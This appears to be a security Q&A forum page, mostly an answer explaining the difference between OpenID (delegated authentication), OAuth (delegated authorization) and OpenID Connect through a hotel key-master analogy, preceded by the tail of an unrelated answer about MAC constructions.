You have very fast networks, or very slow CPU.
There are faster MAC constructions which are not based on existing hash function.
You will be better served with an authenticated encryption mode, assuming you also encrypt the data which is MACed (this is the most common scenario).


Difference Between OAUTH, OpenID and OPENID Connect in very simple term? I am very confused the difficult jargon available in web about OAUTH, OpenID and OPENID Connect. Can anyone tell me the difference in simple words.

OpenID is a protocol for authentication while OAuth is for authorization. Authentication is about making sure that the guy you are talking to is indeed who he claims to be. Authorization is about deciding what that guy should be allowed to do.

In OpenID, authentication is delegated: server A wants to authenticate user U, but U's credentials (e.g. U's name and password) are sent to another server, B, that A trusts (at least, trusts for authenticating users). Indeed, server B makes sure that U is indeed U, and then tells to A: "ok, that's the genuine U".

In OAuth, authorization is delegated: entity A obtains from entity B an "access right" which A can show to server S to be granted access; B can thus deliver temporary, specific access keys to A without giving them too much power. You can imagine an OAuth server as the key master in a big hotel; he gives to employees keys which open the doors of the rooms that they are supposed to enter, but each key is limited (it does not give access to all rooms); furthermore, the keys self-destruct after a few hours.

To some extent, authorization can be abused into some pseudo-authentication, on the basis that if entity A obtains from B an access key through OAuth, and shows it to server S, then server S may infer that B authenticated A before granting the access key. So some people use OAuth where they should be using OpenID. This schema may or may not be enlightening; but I think this pseudo-authentication is more confusing than anything. OpenID Connect does just that: it abuses OAuth into an authentication protocol. In the hotel analogy: if I encounter a purported employee and that person shows me that he has a key which opens my room, then I suppose that this is a true employee, on the basis that the key master would not have given him a key which opens my room if he was not.